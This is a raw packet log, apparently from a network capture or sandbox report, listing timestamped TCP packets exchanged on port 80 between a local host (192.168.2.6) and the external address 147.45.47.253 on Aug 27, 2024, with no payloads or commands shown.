Aug 27, 2024 20:12:05.294868946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294876099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294893026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294894934 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.294899940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294904947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294918060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294924021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294929981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294934034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.294958115 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.294975042 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.295361042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.295367002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.295377970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.295383930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.295389891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.295397043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.295408964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.295414925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.295420885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.295427084 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.295428038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.295450926 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.295469999 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.378843069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.378854036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.378866911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.378923893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.378931046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379018068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379017115 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.379024982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379036903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379055977 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.379072905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.379199982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379206896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379219055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379230976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379237890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379251957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379264116 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.379278898 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.379457951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379463911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379477024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379482031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379487991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379502058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379518032 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.379539967 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.379698992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379704952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379715919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379720926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379726887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379733086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379745960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.379760981 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.379779100 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.380136967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380143881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380155087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380161047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380166054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380172014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380177975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380182981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380194902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380199909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380206108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380208969 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.380218983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380227089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380232096 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.380234957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380251884 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.380269051 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.380783081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380790949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380804062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380809069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380815029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380820036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380831957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380836010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380846977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380850077 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.380853891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380866051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380872011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380877972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380878925 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.380882978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380892992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.380908012 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.380934000 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.381381035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381393909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381411076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381417036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381429911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381438017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381442070 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.381447077 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381459951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381465912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381469011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.381470919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381477118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381484032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381493092 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.381494999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381504059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381509066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381514072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381519079 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.381520033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.381541014 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.381571054 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.382200956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382216930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382227898 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382234097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382240057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382246017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382252932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382263899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382268906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382275105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382282019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382287025 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.382293940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382299900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382306099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382317066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382323027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382323980 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.382329941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382335901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382345915 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.382349014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382354975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382360935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382368088 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.382370949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382401943 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.382425070 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.382972002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382981062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382992983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.382997990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.383022070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.383028984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.383039951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.383038998 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.383047104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.383052111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.383058071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.383064032 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.383069038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.383084059 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.383107901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.384670019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.384676933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.384690046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.384737015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.384746075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.384751081 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.384752989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.384766102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.384788036 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.384809017 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.384887934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.384895086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.384907961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.384913921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.384943962 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.384960890 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.468022108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468096018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468102932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468172073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468179941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468192101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468192101 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.468199015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468211889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468228102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.468228102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.468255997 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.468379974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468425035 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.468457937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468466043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468509912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.468547106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468554974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468560934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468568087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468600035 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.468663931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468739033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468750954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468787909 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.468852043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468858957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468871117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468904972 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.468928099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.468978882 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.469017982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469024897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469037056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469043016 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469050884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469079971 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.469099998 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.469289064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469295979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469309092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469315052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469321012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469345093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469348907 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.469352961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469364882 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469369888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469377041 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.469404936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.469649076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469654083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469666958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469672918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469687939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469706059 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.469724894 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.469736099 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.469780922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469793081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469799995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469835043 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.469903946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469911098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469922066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469933987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469944000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469955921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469959021 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.469963074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469974995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469984055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.469985008 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.470004082 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.470021963 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.470474005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470484018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470496893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470503092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470509052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470515013 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470520973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470531940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470537901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470542908 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.470549107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470555067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470563889 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.470566988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470577002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470585108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.470587015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470593929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470601082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470603943 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.470613003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470621109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470628023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.470633984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.470650911 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.470666885 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.470998049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471044064 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.471132994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471141100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471152067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471158028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471163988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471173048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471180916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471188068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471194029 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.471199989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471209049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471224070 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.471241951 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.471263885 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.471630096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471636057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471648932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471656084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471662045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471667051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471673965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471679926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471690893 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.471693039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471698999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471705914 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471715927 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.471718073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471734047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.471735954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.471750975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.471767902 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.472065926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.472071886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.472084045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.472090006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.472095966 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.472112894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.472115993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.472129107 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.472161055 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.473140001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.473202944 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.473205090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.473217964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.473258018 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.473299026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.473305941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.473313093 CEST	80	49710	147.45.47.253	192.168.2.6
